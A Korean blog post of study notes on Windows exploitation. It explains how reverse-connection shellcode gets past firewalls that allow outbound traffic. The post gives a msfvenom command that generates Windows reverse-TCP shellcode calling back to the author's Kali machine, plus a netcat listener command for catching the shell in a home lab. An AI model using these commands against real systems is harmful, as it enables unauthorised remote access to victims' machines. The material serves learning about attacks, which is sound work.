이 글은 윈도우 시스템 해킹가이드 버그헌팅과 익스플로잇을 보고 정리한 글입니다.
앞의 포트바인딩 쉘코드의 경우 커다란 단점이 있다. 우리가 주로 Exploit을 하는 대상은 서버인데 대부분의 서버에는 방화벽이 있다. 방화벽은 허가되지 않은 포트 접속을 차단한다. 이러한 경우를 대비해 우리는 리버스 커넥션 쉘코드를 사용한다.
대부분의 방화벽은 인바운드 트래픽의 경우 모두 차단하지만 아웃바운드의 트래픽의 경우에는 모든 접속을 허용한다.
*인바운드 : 서버 내부로 들어오는 것.
클라이언트 -> 서버
*아웃 바운드 : 서버 바깥으로 나가는 것.
서버 -> 클라이언트
이 점을 이용하여 내부에서 공격자의 pc로 거꾸로 접속하도록 하는 쉘코드를 Reverse Connection Shellcode(리버스 커넥션 쉘코드)라고 한다.
자 이렇게 칼리로 msfmsfvenom -p windows/shell_reverse_tcp lhost=192.168.253.130 lport=7777 -f C 라는 명령어를 칩니다. lhost에는 본인 아이피와 lport또한 사용할 포트 넘버입니다. 저 같은 경우에는 윈도우 7에서 쉘코드를 실행시키기 때문에 lhost는 칼리의 주소입니다. 자 이제 7777번 포트로 공격할거니 7777번 포트를 미리 열어나야겠죠?
자 이렇게 nc -l 7777을 하셔도 안되시면 nc -l -p 7777 을 하시면 됩니다. 이렇게 포트를 열어두고 윈도우에서 쉘코드를 실행시키면 이렇게 권한을 획득할 수 있습니다.
'System' 카테고리의 다른 글
쉘코드 인코딩 (0) | 2020.07.31 |
---|---|
포트바인딩 쉘코드 (0) | 2020.07.30 |
Universal Shellcode(4)-실습 (0) | 2020.07.20 |
Universal Shellcode(3) -실습 (0) | 2020.07.18 |
Universal Shellcode(2) - offset 구하기 (0) | 2020.07.18 |